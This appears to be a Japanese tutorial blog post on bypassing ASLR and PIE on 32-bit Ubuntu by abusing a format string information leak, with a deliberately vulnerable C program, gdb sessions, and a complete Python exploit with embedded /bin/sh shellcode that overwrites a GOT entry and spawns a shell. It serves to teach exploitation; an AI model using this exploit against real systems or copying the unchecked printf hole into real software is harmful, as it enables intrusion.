ASLR+PIEとformat string attackによるInformation Leak

ASLRが有効な場合、スタック領域・ヒープ領域や共有ライブラリが置かれるアドレスは一定の範囲の中でランダムに決められる。 一方、実行ファイルそのものが置かれるアドレスは基本的には固定であるが、PIE (Position-Independent Executables) となるようにコンパイル・リンクすることでランダムなアドレスに置けるようにできる。 また、ASLRを迂回する手法の一つにInformation LeakあるいはInformation Exposureと呼ばれる脆弱性を利用するものがある。 ここではPIEな実行ファイルを作成し、ASLR+PIEが有効な実行ファイルに対してformat string attackによるInformation Leakを使ったシェルの起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

バッファサイズ200で、繰り返しformat string attackができるコードを書いてみる。

/* fsb-while.c */
#include <stdio.h>

void vuln()
{
    char buf[200];
    while (fgets(buf, sizeof(buf), stdin) != NULL) {
        printf(buf);
        fflush(stdout);
    }
}

int main()
{
    vuln();
    return 0;
}

ここでは、スタック上のリターンアドレスがmain関数内を指すよう、意図的にvuln関数を分けている。 また、fflush(stdout)により1行入力するたびに標準出力に書き出すようにしている。

PIEな実行ファイルを作ってみる

コンパイル時・リンク時のそれぞれについて下記のオプションを指定することで、PIEな実行ファイルを作ることができる。

$ man gcc
   Options for Code Generation Conventions
       -fpie
       -fPIE
           These options are similar to -fpic and -fPIC, but generated position independent code can be only linked into executables.  Usually these options are used when -pie GCC option will
           be used during linking.

           -fpie and -fPIE both define the macros "__pie__" and "__PIE__".  The macros have the value 1 for -fpie and 2 for -fPIE.

   Options for Linking
       -pie
           Produce a position independent executable on targets which support it.  For predictable results, you must also specify the same set of options that were used to generate code
           (-fpie, -fPIE, or model suboptions) when you specify this option.

x86の場合-fpie-fPIEに違いはないが、ここではx86以外のアーキテクチャも考慮された-fPIEを使うことにする。

上に書いたコードをPIEとなるようコンパイル・リンクし、objdumpコマンドでディスアセンブルしてみる。

$ gcc -fPIE -pie fsb-while.c
fsb-while.c: In function ‘vuln’:
fsb-while.c:9:9: warning: format not a string literal and no format arguments [-Wformat-security]

$ objdump -d a.out
00000627 <__i686.get_pc_thunk.bx>:
 627:   8b 1c 24                mov    ebx,DWORD PTR [esp]
 62a:   c3                      ret
 ...

0000062c <vuln>:
 62c:   55                      push   ebp
 62d:   89 e5                   mov    ebp,esp
 62f:   53                      push   ebx
 630:   81 ec e4 00 00 00       sub    esp,0xe4
 636:   e8 ec ff ff ff          call   627 <__i686.get_pc_thunk.bx>
 63b:   81 c3 b9 19 00 00       add    ebx,0x19b9
 641:   65 a1 14 00 00 00       mov    eax,gs:0x14
 ...

左に表示されるアドレスの値が小さくなっており、__i686.get_pc_thunk.bxという関数が追加されていることがわかる。 この関数は、ebxレジスタにスタックの一番上の値、すなわちこの関数からのリターンアドレスとなる次の命令のアドレスをセットする。 そして、その次のadd命令でebxが実行ファイル中のGOTセクションの先頭を指すように調整される。 このebxはGOTセクション内のアドレスや.dataセクションなどに置かれたデータを参照するために使われており、PICレジスタと呼ばれる。 ここで、PICはPosition-Independent Codeを意味する。

ASLRを有効にして、gdbで調べてみる。 なお、gdbはデフォルトでASLRを無効にするので、set disable-randomization offにより明示的にASLRを有効にする必要がある。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x6af
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0xb77746af in main ()
(gdb) i proc map
process 6958
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        ...
        0xb7774000 0xb7775000     0x1000        0x0 /home/user/tmp/a.out
        0xb7775000 0xb7776000     0x1000        0x0 /home/user/tmp/a.out
        0xb7776000 0xb7777000     0x1000     0x1000 /home/user/tmp/a.out
        0xbf976000 0xbf997000    0x21000        0x0 [stack]
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0xb77746af
Starting program: /home/user/tmp/a.out

Temporary breakpoint 2, 0xb77af6af in main ()
(gdb) i proc map
process 6961
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        ...
        0xb77af000 0xb77b0000     0x1000        0x0 /home/user/tmp/a.out
        0xb77b0000 0xb77b1000     0x1000        0x0 /home/user/tmp/a.out
        0xb77b1000 0xb77b2000     0x1000     0x1000 /home/user/tmp/a.out
        0xbfa97000 0xbfab8000    0x21000        0x0 [stack]
(gdb) disas vuln
Dump of assembler code for function vuln:
   0xb770462c <+0>:     push   ebp
   0xb770462d <+1>:     mov    ebp,esp
   0xb770462f <+3>:     push   ebx
   0xb7704630 <+4>:     sub    esp,0xe4
   0xb7704636 <+10>:    call   0xb77045e0 <__x86.get_pc_thunk.bx>
   0xb770463b <+15>:    add    ebx,0x18e6
   0xb7704641 <+21>:    mov    eax,gs:0x14
   ...
(gdb) b *vuln+15
Breakpoint 3 at 0xb770463b
(gdb) c
Continuing.

Breakpoint 3, 0xb770463b in vuln ()
(gdb) x/i $ebx
=> 0xb770463b <vuln+15>:        add    ebx,0x18e6
(gdb) ni
0xb770462c in vuln ()
(gdb) x/40wx $ebx
0xb7706018:     0x00001ef8      0xb7703938      0xb76f64f0      0xb7704536
0xb7706020 <fflush@got.plt>:    0xb7704546      0xb7704556      0xb7704566      0xb7704576
0xb7706030 <__gmon_start__@got.plt>:    0xb7704586      0xb75413e0      0x00000000      0xb770602c
0xb7706040 <completed.6590>:    0x00000000      0x00000000      0x00000000      0x00000000
0xb7706050:     0x00000000      0x00000000      0x00000000      0x00000000
...
(gdb) quit
A debugging session is active.

        Inferior 1 [process 6961] will be killed.

Quit anyway? (y or n) y

実行するたびにa.outが置かれるアドレスが変わっていること、およびebxレジスタがGOTセクションを指していることが確認できる。

format string attackによるInformation Leak

ASLRを迂回する手法の一つとして、format string attackやbuffer over-readなどにより得たアドレスを利用し、他の関数やデータのアドレスを計算する方法がある。 これを可能にする脆弱性は、Information LeakあるいはInformation Exposureと呼ばれる。

ASLRによりアドレスがランダム化されても、確保された領域内における関数・データ間のオフセットは同じである。 このことを利用すると、たとえば次のように各種アドレスが計算できる。

  • スタックに積まれたリターンアドレスの値から、実行ファイル(ここでいうa.out)のベースアドレスが計算できる。
  • 一度呼び出されたライブラリ関数のGOTアドレスの値から、そのライブラリのベースアドレスが計算できる。
  • スタックに積まれたsaved ebpの値から、スタック領域に置かれる他のデータのアドレスが計算できる。
  • ヒープ領域に確保されたデータを指すポインタの値から、ヒープ領域のベースアドレスが計算できる。

エクスプロイトコードを書いてみる

ASLR+PIEが有効な実行ファイルに対し、format string attackによるInformation Leakを利用してスタック上のシェルコードを実行するエスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

index = int(sys.argv[1])
offset_retaddr_from_buf = int(sys.argv[2], 16)
offset_ebp_from_buf = int(sys.argv[3], 16)

shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

offset_got_start = 0x2018     # objdump -d -j.plt a.out; objdump -s -j.got.plt a.out
offset_got_fflush = 0x2004    # objdump -d -j.plt a.out; objdump -s -j.got.plt a.out
offset_retaddr = 0x6b7        # objdump -d a.out | sed -n '/<main>:/,/^$/p'
offset_libc_start = 0x193e0   # nm -D /lib/i386-linux-gnu/libc.so.6 | grep __libc_start_main

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

index_retaddr = index + offset_retaddr_from_buf/4
buf = "%%%d$08x" % index_retaddr
buf += "%%%d$08x" % (index_retaddr - 1)
p.stdin.write(buf+'\n')
line = p.stdout.readline()
addr_retaddr = int(line[:8], 16)
addr_ebp = int(line[8:], 16)
base_addr = addr_retaddr - offset_retaddr
addr_buf = addr_ebp - offset_ebp_from_buf
print "[+] base_addr = %08x" % base_addr
print "[+] addr_buf = %08x" % addr_buf

buf = struct.pack('<I', base_addr + offset_got_start)
buf += "%%%d$s" % index
p.stdin.write(buf+'\n')
addr_libc_start = struct.unpack('<I', p.stdout.readline()[4:8])[0]
base_libc_addr = addr_libc_start - offset_libc_start
print "[+] base_libc_addr = %08x" % base_libc_addr

buf = struct.pack('<I', base_addr + offset_got_fflush)
buf += struct.pack('<I', base_addr + offset_got_fflush + 1)
buf += struct.pack('<I', base_addr + offset_got_fflush + 2)
buf += struct.pack('<I', base_addr + offset_got_fflush + 3)
buf += shellcode

a = map(ord, struct.pack('<I', addr_buf + 16))
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)

with open('buf', 'wb') as f:
    f.write(buf)

p.stdin.write(buf+'\n')

while True:
    line = sys.stdin.readline()
    if not line:
        break
    p.stdin.write(line)
    sys.stdout.write(p.stdout.readline())

p.stdin.close()
p.wait()

このコードは、フォーマット文字列のインデックス、フォーマット文字列が置かれたアドレスからリターンアドレスが置かれたアドレスへのオフセット、フォーマット文字列が置かれたアドレスからsaved ebpの値へのオフセットを順に引数に取る。 そして、スタック上に置かれたリターンアドレスから実行ファイルのベースアドレス、saved ebpの値からバッファの先頭アドレスを計算し、fflush関数のGOTアドレスをスタック上のシェルコードを指すように書き換える。 また実際には必要ないが、__libc_start_main関数のGOTアドレスからlibcのベースアドレスも計算するようにしてある。

gdbで第2引数、第3引数のオフセットを調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x6af
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x800006af in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x8000062c <+0>:     push   ebp
   0x8000062d <+1>:     mov    ebp,esp
   0x8000062f <+3>:     push   ebx
   0x80000630 <+4>:     sub    esp,0xe4
   0x80000636 <+10>:    call   0x80000627 <__i686.get_pc_thunk.bx>
   0x8000063b <+15>:    add    ebx,0x19b9
   0x80000641 <+21>:    mov    eax,gs:0x14
   0x80000647 <+27>:    mov    DWORD PTR [ebp-0xc],eax
   0x8000064a <+30>:    xor    eax,eax
   0x8000064c <+32>:    jmp    0x8000066c <vuln+64>
   0x8000064e <+34>:    lea    eax,[ebp-0xd4]
   0x80000654 <+40>:    mov    DWORD PTR [esp],eax
   0x80000657 <+43>:    call   0x800004c0 <printf@plt>
   0x8000065c <+48>:    mov    eax,DWORD PTR [ebx-0xc]
   0x80000662 <+54>:    mov    eax,DWORD PTR [eax]
   0x80000664 <+56>:    mov    DWORD PTR [esp],eax
   0x80000667 <+59>:    call   0x800004d0 <fflush@plt>
   0x8000066c <+64>:    mov    eax,DWORD PTR [ebx-0x10]
   0x80000672 <+70>:    mov    eax,DWORD PTR [eax]
   0x80000674 <+72>:    mov    DWORD PTR [esp+0x8],eax
   0x80000678 <+76>:    mov    DWORD PTR [esp+0x4],0xc8
   0x80000680 <+84>:    lea    eax,[ebp-0xd4]
   0x80000686 <+90>:    mov    DWORD PTR [esp],eax
   0x80000689 <+93>:    call   0x800004e0 <fgets@plt>
   0x8000068e <+98>:    test   eax,eax
   0x80000690 <+100>:   jne    0x8000064e <vuln+34>
   0x80000692 <+102>:   mov    eax,DWORD PTR [ebp-0xc]
   0x80000695 <+105>:   xor    eax,DWORD PTR gs:0x14
   0x8000069c <+112>:   je     0x800006a3 <vuln+119>
   0x8000069e <+114>:   call   0x80000740 <__stack_chk_fail_local>
   0x800006a3 <+119>:   add    esp,0xe4
   0x800006a9 <+125>:   pop    ebx
   0x800006aa <+126>:   pop    ebp
   0x800006ab <+127>:   ret
End of assembler dump.
(gdb) b *vuln+48
Breakpoint 2 at 0x8000065c
(gdb) c
Continuing.
AAAA
AAAA

Breakpoint 2, 0x8000065c in vuln ()
(gdb) x/100wx $esp
0xbffff6b0:     0xbffff6c4      0x000000c8      0xb7fd2ac0      0xb7ec47be
0xbffff6c0:     0xbffff6f8      0x41414141      0xb7ff000a      0xbffff7e4
0xbffff6d0:     0xbffff7a0      0xb7fe7ed9      0xbffff780      0x80000250
...
0xbffff790:     0xb7fed280      0xb7fd1ff4      0xbffff7a8      0x800006b7
...
(gdb) disas main
Dump of assembler code for function main:
   0x800006ac <+0>:     push   ebp
   0x800006ad <+1>:     mov    ebp,esp
   0x800006af <+3>:     and    esp,0xfffffff0
   0x800006b2 <+6>:     call   0x8000062c <vuln>
   0x800006b7 <+11>:    mov    eax,0x0
   0x800006bc <+16>:    leave
   0x800006bd <+17>:    ret
End of assembler dump.
(gdb) p/x 0xbffff79c-0xbffff6c4
$1 = 0xd8
(gdb) p/x 0xbffff7a8-0xbffff6c4
$2 = 0xe4
(gdb) quit
A debugging session is active.

        Inferior 1 [process 7492] will be killed.

Quit anyway? (y or n) y

フォーマット文字列が置かれたアドレスは 0xbffff6c4、リターンアドレス 0x800006b7 が置かれたアドレスは 0xbffff6c4、saved ebpの値は 0xbffff7a8 であり、求めたいオフセットはそれぞれ 0xd8、0xe4 となっている。

DEP無効、ASLR+PIE、SSP有効でコンパイルし、各引数をセットしてエクスプロイトコードを実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fPIE -pie -z execstack fsb-while.c
fsb-while.c: In function ‘vuln’:
fsb-while.c:8:9: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out
AAAA%5$08x[ENTER]
AAAA41414141
[CTRL+D]

$ python exploit.py 5 0xd8 0xe4
[+] base_addr = b77dd000
[+] addr_buf = bff96f34
[+] base_libc_addr = b7609000
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

ASLR+PIEが有効な実行ファイルに対し、各アドレスが算出されシェルが起動できていることが確認できた。

関連リンク